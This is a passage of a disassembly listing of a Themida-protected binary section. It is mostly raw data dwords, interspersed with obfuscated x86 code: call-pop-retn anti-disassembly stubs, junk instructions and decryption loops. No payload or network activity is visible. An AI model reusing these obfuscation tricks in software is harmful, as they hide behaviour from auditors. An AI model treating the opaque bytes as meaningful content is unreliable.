5DBC974Eh, 84336BA7h, 166D4AA9h, 6000000h, 18C799F3h dd 833DA0BCh, 2841FFE6h, 0A75DBC79h, 0A984336Bh, 306EA74Ah dd 831679A5h, 82ABFFE6h, 6D31E4C8h, 93D3C337h, 0BDDAFFE6h dd 4FD40098h, 0C9E0BF28h, 79FFFFF4h, 0FD336BA7h, 0E373ED9Ch dd 832487A3h, 0F952FFE6h, 259FBB53h, 0C107E0B7h, 0B6C22541h dd 97F007E0h, 1077A32Eh, 1A07E0B6h, 0E610DF99h, 0B2C80F85h dd 7BD4F5F0h, 0E85C9417h, 7646057Fh, 2C18D889h, 1A7EB686h dd 1065406Fh, 14F59B03h, 0Ch, 66DA5h, 0D0250000h, 0FEB55B43h dd 0F6A867BCh, 3B9C426Bh, 4282124Eh, 17B23EDh, 648D964Ah dd 9E12B8B2h, 7E0C310h, 65A5358Eh, 0E0C1E649h, 0DB30C07h dd 0A1FD157Ah, 0C35EF76Bh, 0EC2407E0h, 41CF7CB2h, 0E441D25Dh dd 6635EF68h, 0A9F3663Ch, 0A84EF7FAh, 538915FBh, 0BF316DA6h dd 80E3FF3Fh, 0A607E0F1h, 19FAA74Dh, 977E1385h, 0FD177C07h dd 0C9FA16A1h, 71F2670Fh, 39BEE8B7h, 86557C6Ah, 0FD122FA9h dd 836F2F55h, 0BBE330DDh, 5F3FD62Bh, 0C005ABD4h, 834C8419h dd 0CDEA37F4h, 9A000000h, 83DB3E5Ah, 9EBAFF66h, 0FF66833Bh dd 76CF1069h, 0B95F3FD1h, 0C997F302h, 3AA0BC1Ah, 46FFE683h dd 5DBC7E2Dh, 0A72513D3h, 0BC83326Ch, 4BF1AD67h, 99F349B8h dd 5F1618C7h, 74833C84h, 45DA37h, 0F36B0000h, 0E237C799h dd 0FC66C32h, 833DA0BCh, 0BF14FFE6h, 99C24D51h, 0A251AAF3h dd 7527CBCh, 883F4A02h, 55E0BE57h, 661DC32Ch, 0A3336BA7h dd 33D9C54Eh, 6D4AA97Ch, 3Ch, 66C9E525h, 8CFFE683h, 0F3D68D33h dd 16888B99h, 83076A86h, 0D42DFFE6h, 7CBCBC6Bh, 0E682FD60h dd 24CA23FFh, 830D708Ch, 0F811FFE6h, 0A75DBC49h, 0A984336Bh dd 0A3FB1469h, 9249EF18h, 0F6A867BCh, 85A9316Bh, 1A9FC6ECh dd 2A240BB1h, 0BDFFFFFFh, 0A3DD92BCh, 0B01C5C20h, 0E8B65D0Ah dd 0B1CD0D5Dh, 0FFE7154Eh, 0C8751B74h, 71B0424Bh, 0BEE36AF3h dd 0CBBE1F55h, 0DBEF526Eh, 0BC15FFE6h, 0DCAD102Ch, 7AD3FFE6h dd 17418111h, 521B4BD8h, 8C00A634h, 7E157F2h, 80AC3790h dd 7E10319h, 0E1E8A223h, 406F0BA9h, 3747h, 96F3D800h, 501E3ACAh dd 4E07E09Ch, 0F01A6AF5h, 0E4A8BA65h, 1E923822h, 7E11CB7h dd 0B78640C1h, 46F4038Dh, 3EE3A68Fh, 163FCAD4h, 0AC68A070h dd 0BB06406Eh, 97000000h, 19F66CA7h, 41911C85h, 0C1B47E17h dd 10B6D062h, 65F0AE63h, 8B1300h, 0F026789Bh, 0E6CD617Ch dd 0A6F81BFFh, 4E50C370h, 81DFAAC3h, 0B95CB1F1h, 0CFCF40E5h dd 0DACFB529h, 0A2FB07E0h, 0E27E0B6Ch, 0BD5A3652h, 2B840FDDh dd 0D3CB469Bh, 7D21F09Dh, 9853A8BFh, 0D170AB99h, 286h dd 386E30E6h, 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h dd 60BF4A9h, 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h dd 0E703B619h, 0BF76DC07h, 28236AA7h, 0C3A96B83h, 0AF0494FDh dd 570B2C61h, 0D4C4804Eh, 0DA87C56Bh, 972F6539h, 0BDD83B57h dd 7EFEFFE6h, 0E6BCFF62h, 63CC25FFh, 96F306BDh, 501E3ACAh dd 4E07E09Ch, 0F01A6AF5h, 0E3A85A65h, 1D9137ECh, 7E0E6B6h dd 0B6853FC0h, 51BA0E8Ch, 0D47AF026h, 6EF5CC04h, 3B89B340h dd 0EBEE7E9Dh, 55E00131h, 9EC44ADBh, 0AC17F8h, 72C70000h dd 4856BFA3h dd 0A78239DFh, 431FF66Ch, 0FB64CDD1h, 98060B70h, 0BFCDE08h dd 0EB74D33Fh, 0C5EE7925h, 0F723B65Ch, 0FFE772DCh, 0FB316DA6h dd 4ED9C54Eh, 7C0C5435h, 0E1877A60h, 194FA807h, 0C2254181h dd 0F007E17Dh, 0F990F197h, 58F21556h, 45AEA55Ah, 7D5E99B5h dd 2B840FDDh, 0D3CB469Bh, 7925EE43h, 29E895D3h, 22B6B775h dd 5E999998h, 175BFh, 7F1FF700h, 28769C49h, 0CED045F2h dd 7A24EB98h, 247A9744h, 1E05BAEEh, 0C875ABF3h, 6F1C524Ch dd 1AC7FDA1h, 0A06FA5F9h, 4C92C48h, 91F707E7h, 346AA7DAh dd 0DCC251FEh, 6CA7EFA6h, 0D142A732h, 533697CDh, 0B617D0Dh dd 1707E086h, 0D78B94ADh, 73DC9488h, 2487A3E3h, 5207E08Dh dd 66BB53F9h, 0EBBF1ADh, 0C9099905h, 0E08D4AADh, 0AA0D2907h dd 0D807E08Dh, 3FE53E7Fh, 6AF693ACh, 0F4E0BEDAh, 5AAF0FE0h dd 2F58E3BBh, 29E74089h, 96648B2Ah, 0DF27C601h, 8D000000h dd 32DF1589h, 0DB88BEE0h, 812E643Ah, 2DDA108Eh, 5084BAE4h dd 415DB49Bh, 0E8B65E0Bh, 930B05B2h, 3B63B05Dh, 0C2DE3605h dd 7E7045Fh, 0F3681F85h, 0FA3ACA96h, 98B255D0h, 0F99F804Bh dd 0E7E0A385h, 0E676CF07h, 14278AA6h, 28E907E7h, 36DC3576h dd 0C9D53EA3h, 352DE693h, 0D36C1DDh, 74C919A4h, 0E458FEA0h dd 51D0C38Bh, 0B5D11161h, 41CFC152h, 81E40080h, 0AF41CFC1h dd 0C647ED56h, 0B3EB280Ch, 3056F923h, 0FAABE299h, 0D1FA8519h dd 59BCD868h, 8741CFA5h, 0B24A882Eh, 0A4F35672h, 0B72141CFh dd 811AF3D7h, 0C66CD5FAh, 0A768FA19h, 0DA436CF7h, 7925EA4Fh dd 79335CEEh, 0EA207E95h, 0FDB7D63Dh, 0A1FD15DEh, 0A573ED16h dd 590F986h, 0D66h, 7BBBFF00h, 83BC1F3Bh, 91EAFFE6h, 6FA734EBh dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 51528510h, 0C181E189h dd 4, 4E981h, 0C870000h, 1C895C24h, 17E66824h, 0C890000h dd 29816824h, 2C890000h, 0A9B85024h, 50080069h, 9A685859h dd 8900003Dh, 4812424h, 424h, 0EC815D00h, 4, 81240C89h dd 1ECC242Ch, 458F4E07h, 8458108h, 4E071ECCh, 57242C8Bh dd 0C781E789h, 4, 8704C783h, 8B5C243Ch, 8957240Ch, 4C781E7h dd 83000000h, 3C8704C7h, 85E95C24h, 0D7FFF9FBh, 82EAB8C7h dd 0C5030800h, 6585C650h, 4707FA06h, 38172568h, 0A5B5FFCFh dd 8D07FA08h, 0FA3AE285h, 8BD0FF07h, 11858DD8h, 5007FA03h dd 10468h, 0C6D3FF00h, 0FA066585h, 0BF685307h, 0FF8307F8h dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 898589D0h, 83080067h dd 0FA3135BDh, 840F0007h, 0Bh, 2B459D8Bh, 5E907FAh, 0BB000000h dd 0 ; --------------------------------------------------------------------------- push 100h lea esi, [ebp+800678Dh] push esi push ebx call dword ptr [ebp+7FA2951h] lea esi, [ebp+800678Dh] add esi, eax jmp loc_5EB841 ; --------------------------------------------------------------------------- loc_5EB840: ; CODE XREF: Themida_:005EB84Dj dec esi loc_5EB841: ; CODE XREF: Themida_:005EB83Bj cmp byte ptr [esi], 5Ch jz loc_5EB853 cmp byte ptr [esi], 2Fh jnz loc_5EB840 loc_5EB853: ; CODE XREF: Themida_:005EB844j mov byte ptr [esi], 0 lea eax, [ebp+800678Dh] push eax call dword ptr [ebp+8006789h] pop eax jmp eax ; --------------------------------------------------------------------------- dw 0AD9Bh dd 8DA73746h, 0D9170A1Ch, 2638125Dh, 7E6713Ah, 52794872h dd 0F3F74465h, 0CA7454E5h, 0D3C64D4Ch, 69A25419h, 65BA75A7h dd 33145739h, 8FD200Dh, 0C0D00023h, 20896AF7h, 83B74B6Fh dd 0E11F7AD9h, 0B1871EC9h, 0F99767A3h, 0B72909CEh, 0CE83CE0h dd 18000000h, 0D698B16Ah, 0D5563420h, 58ED952Ah, 0DE9h dd 33A86E00h, 0B7DD0061h, 424D3A13h, 0C0817C54h, 5964h dd 0D38B6660h, 10E950h, 48080000h, 0AE3683F6h, 0DC0B2EF5h dd 8F6EE9F2h, 6159DFDBh, 162668h, 28E0F00h, 8B000000h dd 8B605BCBh, 30FF61DAh, 6820F5Ah, 81000000h, 6CEFC6D9h dd 6FF28156h, 0FC49D789h, 280EF281h, 0A4BF3514h, 811791ACh dd 0D3F152C2h, 0CE933h, 99640000h, 667E8499h, 3D4B26A1h dd 10896442h, 8101E883h, 3FE142D7h, 48484819h, 12850F4Bh dd 0B5000000h, 29E99Fh, 6FB40000h, 7BE89E3Dh, 255FFDFDh dd 16F18195h, 0E94159F3h, 0FFFFFF96h, 7C077CDBh, 46046BB3h dd 90C39103h, 33057974h, 8DEEBCCCh, 85ED8Dh, 0E7816608h dd 8D899A52h, 7FA1CD9h, 21B98D29h, 85C707FAh, 7FA31ADh dd 6BDCh, 43EAE681h, 85C7133Ah, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5EB9C7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB9C7 proc near ; CODE XREF: Themida_:005EB9BFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5EB9C7 endp ; --------------------------------------------------------------------------- jnz short loc_5EBA53 push dword ptr [ebp+7FA112Dh] push 0 push edx call sub_5EB9EA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB9EA proc near ; CODE XREF: Themida_:005EB9E2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5EB9EA endp ; --------------------------------------------------------------------------- cmpsb add eax, 95091C6Ah and [esi], ecx cli pop es call dword ptr [ebp+7FA1799h] push 0 push ebp call sub_5EBA15 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EBA15 proc near ; CODE XREF: Themida_:005EBA0Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5EBA15 endp ; --------------------------------------------------------------------------- cmp [ebx+6Ah], ecx add bh, bh xchg eax, ebp sbb [eax], edx cli pop es mov eax, eax jmp short loc_5EBA8C ; --------------------------------------------------------------------------- db 24h dd 0D3108194h, 10DFE46Bh, 0A43191E1h, 21CB5B5Ah, 62E9DEC7h dd 7E49300Bh, 88FB2F51h db 0Bh, 0A6h, 73h ; --------------------------------------------------------------------------- loc_5EBA53: ; CODE XREF: Themida_:005EB9D7j sbb al, 0 push cs sbb eax, 111786FBh std mov ecx, [edx+3Fh] movsb sbb [ecx], ah setalc mov cr3, edx fcom st(1) push ebx add eax, 9DD38275h aas adc [ebp+7Ah], edx push ss and al, 96h loc_5EBA75: ; CODE XREF: Themida_:005EBA91j insb sbb ecx, esp add al, 0D1h out 42h, eax ; Timer 8253-5 (AT: 8254.2). mul ch add [ecx-251BB7AAh], dh dec edx enter 43FBh, 0Dh sbb [eax], dl inc eax loc_5EBA8C: ; CODE XREF: Themida_:005EBA31j call near ptr loc_5EBA9D+1 jl short loc_5EBA75 out dx, eax or [edx+ecx*4-3118B22Fh], bh loopne locret_5EBAD3 loc_5EBA9D: ; CODE XREF: Themida_:loc_5EBA8Cp cmp eax, 9D895AF5h test eax, 8107FA23h retn 6CA2h ; --------------------------------------------------------------------------- align 4 jmp loc_5EBAC0 ; --------------------------------------------------------------------------- db 40h, 64h, 60h dd 0BA63065Dh, 47EE13EBh, 27388ED7h ; --------------------------------------------------------------------------- loc_5EBAC0: ; CODE XREF: Themida_:005EBAACj mov edi, 1B08h mov esi, eax loc_5EBAC7: ; CODE XREF: Themida_:005EBB0Bj mov ecx, [edx] add ecx, 0B9F076Fh pusha mov dl, 0F8h ; --------------------------------------------------------------------------- db 81h ; --------------------------------------------------------------------------- locret_5EBAD3: ; CODE XREF: Themida_:005EBA9Bj retn 0ECE8h ; --------------------------------------------------------------------------- dw 3D65h ; --------------------------------------------------------------------------- popa add ecx, 619DE2C4h sub ecx, 2BE9A9Fh cmc push ecx jmp loc_5EBAF8 ; --------------------------------------------------------------------------- sahf push edx inc ecx cmp eax, 0BD027DB0h lds ecx, [ecx+39h] das loc_5EBAF8: ; CODE XREF: Themida_:005EBAE7j pop dword ptr [edx] sub edx, 4 pusha mov [ebp+7FA2201h], esi mov esi, 1FC065CAh popa dec edi jnz loc_5EBAC7 add [ebp+7FA1771h], esi lea ecx, [ebp+800877Dh] push 0 push ebp call sub_5EBB28 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EBB28 proc near ; CODE XREF: Themida_:005EBB20p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5EBB28 endp ; --------------------------------------------------------------------------- fdivr qword ptr [edx+295E258Eh] mov eax, 1CB8666Ah mov bh, 8Bh dec byte ptr [ecx-5E32673h] pop es xor bh, 5Ah mov dword ptr [ebp+7FA31ADh], 6C10h push 0 push edi call sub_5EBB64 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EBB64 proc near ; CODE XREF: Themida_:005EBB5Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5EBB64 endp ; --------------------------------------------------------------------------- dec ecx xor bh, ah mov esi, [ebp+7FA1119h] mov dword ptr [ebp+7FA2BD9h], 0 push 0 push esi call sub_5EBB92 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EBB92 proc near ; CODE XREF: Themida_:005EBB8Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5EBB92 endp ; --------------------------------------------------------------------------- dw 65B6h dd 0B5FF651Fh, 7FA167Dh, 0F6DB8166h, 9995FF98h, 6A07FA17h dd 1995FF00h, 8B07FA10h, 230EEBC0h, 492DC609h, 834CF2D1h dd 0D0919E04h, 2FE99Dh, 0D1A00000h, 8C933A1Ch, 0E89DE61Dh dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h dd 4 dup(0) dd 708E900h, 36680000h, 0E9080089h, 0FFF9F720h, 8A0668h dd 0F716E908h, 0BB68FFF9h, 0E908008Ah, 0FFF9F70Ch, 8B7768h dd 0F702E908h, 6368FFF9h, 0E908008Ch, 0FFF9F6F8h, 8D3268h dd 0F6EEE908h, 6AACFFF9h, 0C151FE34h, 1BFAA7DDh, 6FA04D83h dd 0C54CF92Fh, 0BA6FA3D9h, 285E40D1h, 0CF05997Bh, 7AB0EE22h dd 225846CDh, 7CDFFB53h, 0AA07E70Bh, 1D6D8D44h, 6000000h dd 0A7326CA7h, 8191D142h, 0C469921Dh, 9AC34E50h, 2087FB31h dd 0EAFFE683h, 8B427826h, 3ACA96F3h, 0E084E81Eh, 0B061F607h dd 0D13A63EEh, 7F741741h, 0CE3A7AB7h, 0F0459528h, 0C6EF7A24h dd 0FD8ABA4Ch, 0BE648110h, 0E179E34Ah, 0B26CED07h, 0F8A9B9E3h dd 715B1DECh, 60C3FBCBh, 7A61406Fh, 0F2000002h, 1FF992BCh dd 0D2F27E3Ch, 9842532Ch, 0C0DE33F1h, 0A9ABC757h, 0D07E0F1h dd 9D1377B4h, 31CC0F99h, 5C780858h, 0CBB54D26h, 0EF739F34h dd 0CAF37E20h, 44ADD661h, 3BE9A0B9h, 163FCAD4h, 4B076A86h dd 0D42DC415h, 8986DB6Bh, 0FB643AD9h, 58E3BB56h, 0D5F1892Fh dd 0CC12EF4Bh, 5338ED57h, 6BA7177Bh, 4487202h, 0FA934737h dd 54A941E7h, 0F4FDFBFh, 0F450B3CFh, 1D76C3B9h, 0B9F44EB1h dd 9E0010C3h, 5EC1DD5Dh, 84C3B9F4h, 0DE1CC22Bh, 0FEBCE231h dd 5A4DB6ABh, 0E5D271ACh, 0DD000004h, 822F6539h, 2BD80E90h dd 0D17EB4EAh, 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh dd 0E3BB5502h, 8B1300ADh, 122E8655h, 7E70CAFh, 0A7B86FD5h dd 4DA2326Ch, 247A9BC7h, 94F630BBh, 0CC32D7E7h, 0E4771D86h dd 12A2BECBh, 0BE4955BDh, 3B57EF95h, 7E0E369h, 6ED1ED6Dh dd 9407E0E2h, 0C39CD23Bh, 0DF8108B2h, 841AFA4Fh, 922AD0F9h dd 0DAE87476h, 0CC09620Fh, 84959C68h, 89D7B298h, 64A7DDF9h dd 5AB3A07Eh, 66D3B6CFh, 4E63E74Ah, 24B40D9Fh, 4E64A508h dd 972CB9Fh, 7D35D79h, 76CFA74Ch, 4A66A6E6h, 9880C4E7h dd 610EB40Dh, 75CECB2h, 0DF08930Bh, 0E63FB39h, 0EAB46101h dd 27CD365Fh, 4705997Ah, 1048518h, 1511B0EBh, 0AD000004h dd 52FF3569h, 0FBA8DEC0h, 0A14E841Ah, 4DFA306Eh, 70A4DAC4h dd 613DD4BBh, 8967E2Bh, 0B3EB25D2h, 5B43D07Dh, 0E2FE5625h dd 7E70D7Fh, 0A7883FA5h, 8D10216Ch, 0DB009853h, 0AB25FBD1h dd 0C754121h, 3F216881h, 56E193AFh, 61B607E1h, 0C64AEFAFh dd 7E244DD8h, 537ECB35h, 0ADAD59C1h, 21760E44h, 0A708AEF0h dd 0AEEE7EE2h, 0E0A62F92h, 6CFC5507h, 0E0A5ED50h, 14BA1307h dd 0E0FC3C7Ch, 7E0A67Dh, 3FCAD43Fh, 0D67CD516h, 0E12D9C62h dd 0E171CA0Fh, 0E117878Ch, 34BFDF34h, 1E808FE4h, 0EE721778h dd 4C88425Eh, 55E17DBh, 9E470E47h, 7A6E191h, 360h, 0B4EAB462h dd 5D930B07h, 33965B0h, 0AFE5B956h, 598F0F02h, 8A877025h dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E70D3295h dd 43FA6007h, 0A7326CA7h, 0D565FB8Eh, 0CDD14095h, 0FF731942h dd 7E083BDh, 96C050A9h, 2434DFF1h, 42D37804h, 9178B65Ch dd 1B0h, 0C56F7B2Ah, 0F65975C4h, 1CFFE682h, 9BC758B2h dd 93FC96A8h, 0CF459A2Ah, 751B44CFh, 96BFC1DDh, 0CA2307E0h dd 8602298Dh, 0F198FD1Dh, 0F1C3DF6Fh, 0F5FAA79Fh, 91F8119Ch dd 99233FCFh, 0DFD2103h, 44CF24B4h, 6E8ACA5Ah, 0F2A8020Bh dd 336BA439h, 70167FA8h, 108E8532h, 5FB87952h, 8A7E26Bh dd 2A4h, 70A6F81Eh, 194F4FC3h, 0BFF5A96Ch, 6BA1FD12h, 154B53BEh dd 0CE432CE1h, 27ED9AD0h, 7C944177h, 0D43FEC22h, 6DC594CAh dd 0E70DEE51h, 0F7AE1407h, 0A7326CA7h, 0E829FB8Eh, 0A1BD4DB6h dd 7E0A0CFh, 0AC447AD3h, 3EE3BB57h, 133CC7D7h, 0DD87946Dh dd 0E718DACh, 3407E0A0h, 0B7D361DBh, 207DCC16h, 90B27B7h dd 5E0FDB7Eh, 0A4616134h, 0E48A2D36h, 72B2429Bh, 0E725F356h dd 888C21FFh, 0C207AD16h, 0C90EDE5Eh, 5D79B98Eh, 8EC7CDFAh dd 0CE5ABDD9h, 2F888EC7h, 8EEF95EEh, 80D565FBh, 58810C92h dd 9A405EB3h, 0A76DC202h, 0DFBF52F7h, 0EEF3C539h, 0C61F96C1h dd 0F967223Bh, 684A3F69h, 470BF38Dh, 63ED09A1h, 3090FFA9h dd 0A471D4F0h, 469F8ECCh, 0A42F6FA1h, 338CD57Bh, 0D9C54EA3h dd 811DF6A3h, 78E606C3h, 6F0E4917h, 1B8h, 5C920C0Ah, 53B63AFh dd 0ABE1BD58h, 578D11FEh, 13767AAh, 0E22F18CDh, 3BD986BCh dd 90802D63h, 0E82BD80Eh, 59B180B6h, 0E70FDA3Dh, 0EBA20807h dd 0C67F92BCh, 1B1BC7C2h, 534BC875h, 86DAAFC8h, 0B061B6F6h dd 953A63EEh, 6A931E80h, 319E50C4h, 6BC407E1h, 415D9D35h dd 7E111DEh, 4E05AB04h, 3ACA96F3h, 0E70B621Eh, 93237C07h dd 94F71353h, 8907E70Ah, 128D654Ah, 0CC256620h, 49A7926h dd 0ACF221CEh, 0DF810821h, 0A165334Fh, 0EC810FE7h, 0C2EB7628h dd 9A8A5748h, 0DD467BF2h, 6A31234Dh, 5ED8C649h, 21C75473h dd 0BFDF3489h, 5637DC89h, 0FE095AC6h, 5EE95290h, 8C1C4445h dd 0E0B30E70h, 1DDB3407h, 9E64E9BAh, 0E9BF5E99h, 0D9000000h dd 7E2B613Dh, 27D40A94h, 0CD7AB0EEh, 79265C42h, 9CD00698h dd 8D1100E7h, 346AAA57h, 0DFBF51FEh, 8717FCA9h, 0E2A8251h dd 7E710ABh, 0BCBC73D9h, 134BD092h, 58FE9FAAh, 839292F7h dd 61141E0Ah, 46D3219h, 85EEB05Fh, 0B307D9F5h, 0B20B07E7h dd 4D51C227h, 0FE617DBDh, 2407E6B1h, 0B22588A4h, 0F24B07E6h dd 7ADDF989h, 0A807E6B2h, 0BE6BA94Fh, 0FC533855h, 0C1666D96h dd 287DCD58h, 22BB6E8h, 0BE2FE85Ch, 84BD3A03h, 712DE6CAh dd 8858E3Bh, 9496FE53h, 3D6EE880h, 1F6580EFh, 60C550B9h dd 0D264EFAFh, 80BEFA9h, 17F0536Fh, 81163A03h, 5A830E90h dd 0A55288F1h, 29B1F6Eh, 0D971ACDEh, 36B5ABDh, 0C62F883Ah dd 9D78CD5Dh, 29C85B01h, 14h, 3B7BBBC2h, 0E683BC1Fh, 1791EAFFh dd 91726E2Fh, 883FE5C3h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 0E0895052h, 405h, 4BF5700h, 29000000h, 4875FF8h dd 0E3685C24h, 8900001Fh, 2E68241Ch, 89000044h, 0BA52243Ch dd 2A4E4CF8h, 8108E2C1h, 6516DBF2h, 0DEF28166h, 52202966h dd 8B545A5Bh, 0C481243Ch, 4, 15B85053h, 15C661Eh, 58042444h dd 8108478Fh, 1E15086Fh, 3C8B5C66h, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 241C8B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dd 82030986h, 40B813E1h, 308008Eh, 0F9E0FFC5h, 0C2ECB9Eh dd 0A950C488h, 5F62BC74h, 313E22CBh, 0A0BE5C7h, 0E51D7326h dd 2C6EDAF2h, 0E816CBE4h, 691666D5h, 0CA586198h, 0F374641Eh dd 361E55A4h, 0E81A5304h, 0Ch, 102BD665h, 524EF65Dh, 9CD725D1h dd 16B8C881h, 535A50D0h, 890FF960h, 0 ; --------------------------------------------------------------------------- popa pop eax add edx, 7273h add di, 0F03Dh push 1C79h mov cx, 0D663h pop ebx mov ax, bx ; START OF FUNCTION CHUNK FOR sub_5EC3B6 loc_5EC38A: ; CODE XREF: sub_5EC3B6+28j push dword ptr [edx] pop esi jmp loc_5EC39E ; END OF FUNCTION CHUNK FOR sub_5EC3B6 ; --------------------------------------------------------------------------- dw 8558h dd 0AE9C601Dh, 9258AE83h db 0D2h, 0BBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC3B6 loc_5EC39E: ; CODE XREF: sub_5EC3B6-29j sub esi, 68CB57ADh jge loc_5EC3B7 call near ptr sub_5EC3B6 aam 5Eh retf 8722h ; END OF FUNCTION CHUNK FOR sub_5EC3B6 ; --------------------------------------------------------------------------- pusha cmpsb ; =============== S U B R O U T I N E ======================================= sub_5EC3B6 proc far ; CODE XREF: sub_5EC3B6-Cp ; FUNCTION CHUNK AT 0058B334 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 005EC38A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005EC39E SIZE 00000016 BYTES pop edi loc_5EC3B7: ; CODE XREF: sub_5EC3B6-12j sub esi, 3827CEEEh push esi sbb cl, 22h pop eax xor esi, 5285BAF9h movsx ecx, ax mov [edx], esi mov eax, 1AE38AF7h sub edx, 4 or edi, 9FB2D5Eh sub ebx, 1 jnz loc_5EC38A mov di, cx jmp loc_5EC3FF ; --------------------------------------------------------------------------- dd 3EB32F9Ch, 3 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5EC3FF: ; CODE XREF: sub_5EC3B6+31j jmp loc_5EC8CF ; --------------------------------------------------------------------------- push 8009103h jmp loc_58B334 ; --------------------------------------------------------------------------- push 800916Fh jmp loc_58B334 ; --------------------------------------------------------------------------- push 80092F5h jmp loc_58B334 ; --------------------------------------------------------------------------- dw 8E88h dd 0E52DDA10h, 3FD683B9h, 937C295Fh, 0E928D50Bh, 964B7FB5h dd 43A64ADh, 0ABE1BD57h, 568C12FEh, 0FE346AA9h, 58BBD72Fh dd 7E07E712h, 67BC6118h, 0A350F6A8h, 4BA0306Eh, 9D30D6C8h dd 831BF84Dh, 7C29CFF8h, 36EFF697h, 0D1B28E32h, 0CE48BDF4h dd 0F760710Ch, 372960C1h, 86E98BA7h, 348D07E1h, 0C8C54FA4h dd 7315AEEh, 4CF25BBDh, 0B6268DB9h, 0AF3007E0h, 0C2B6EEF5h dd 489D406Eh, 27779AC8h, 640A739Ch, 30A83h, 33DE3300h dd 0AAC52844h, 92EB07E0h, 0BCCC8329h, 82FD607Ch, 0CA23FFE6h dd 0EB4EA25h, 14751F35h, 9EA0BC4Ch, 4407E089h, 0D13A64AFh dd 0F0423094h, 1880545h, 50A00D4Eh, 0CB34D4E0h, 0D75D1F3Bh dd 0FA3A027Fh, 4BC67BDEh, 0D650A9FDh, 72889345h, 0D720C66Fh dd 62CBD342h, 95CBBED7h, 46A9C505h, 33FD4C68h, 0F77F034h dd 0C922630Ch, 0EA6F8B23h, 0D405463Fh, 7996EB7Bh, 0CB719A25h dd 6935DE33h, 0D58D8633h, 70D5603Eh, 2C95FEA0h, 287016Eh dd 48E72263h, 2FAh, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h dd 0F72D719Eh, 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h dd 48CB78AEh, 0F9512056h, 0E7147ADDh, 8B42A807h, 3ACA96F3h dd 0E713661Eh, 24EB8007h, 2C81117Ah, 0D683B9E5h, 0A9D3633Bh dd 512F52ECh, 0F915A50Dh, 7E70696h, 2ABD63BCh, 0E70696FEh dd 7727EC07h, 624368B9h, 8928636Eh, 28Eh, 689E0016h, 114757BBh dd 0B7EDB164h, 6399050Ah, 0D435BB6h, 0D63B24D9h, 2FE592C8h dd 848C396Fh, 0DC37E41Ah, 65BD8CC2h, 0E713E649h, 0EFA60C07h dd 3ACA96F3h, 0E713661Eh, 97278007h, 41CCD242h, 8FDF7218h dd 0BCF9254Fh, 0FAA1A63Ch, 0E69B2B8Eh, 5A005907h, 0E69B7FE6h dd 0D8C64907h, 722CE84Dh, 0E09ACBE7h, 9852D338h, 74A35991h dd 195F740h, 0A7880000h, 62A2326Ch, 0E682E346h, 3866ADFFh dd 0AE4384ADh, 28CE3767h, 0BBE33095h, 623CD62Bh, 0C33580E8h dd 640AA1B6h, 75C4C526h, 0E69AF659h, 8E871CFFh, 0AE3EA710h dd 9AEF526Eh, 0BC15FFE6h, 0C8627E16h, 0DE07E0C5h, 6BD4CA49h dd 138B86DBh, 0ADF12388h, 0EA90F922h, 0B5C42B57h, 4DCE07E0h dd 0D19AC493h, 0E52B14A2h, 46D1CD43h, 3E0EB41Dh, 406EE606h dd 27A4h, 67BC3500h, 3D66F1ADh, 0D533697h, 9B93617Dh, 368F07E0h dd 9B187FABh, 0A12207E0h, 0A7A8E0E7h, 0B746406Eh, 0D7000000h dd 0A7326CA7h, 7A130257h, 0C6F454B1h, 0BB11AF1h, 5BEBB35Eh dd 0EB9CFF1Bh, 71CAFFE6h, 40D338CBh, 9B79CE5Eh, 0A94F7803h dd 6A86C616h, 0FFE6EB07h, 812ED42Dh, 3ED60C92h, 27F9E414h dd 0B1573003h, 0E72EB43Dh, 4845CEFFh, 0FD2E02EBh, 0FE50402Dh dd 0B3AE2AA4h, 2639902h, 2D49D987h, 7E38D57h, 459A2A83h dd 0EF9CD2CCh, 7DBE7C22h, 5E9E61CAh, 1088423h, 7A9C0000h dd 0D141EE24h, 2BEA97CDh, 7F903D73h, 0D53CE91Fh, 0AA5F93C9h dd 184E50C1h, 0BFF5A96Bh, 6AA0FE12h, 124856BDh, 6CCFEB43h dd 9A07E715h, 6AA77D34h, 5C301923h, 53BCCA68h, 0FBA3701Dh dd 6CA70EC5h, 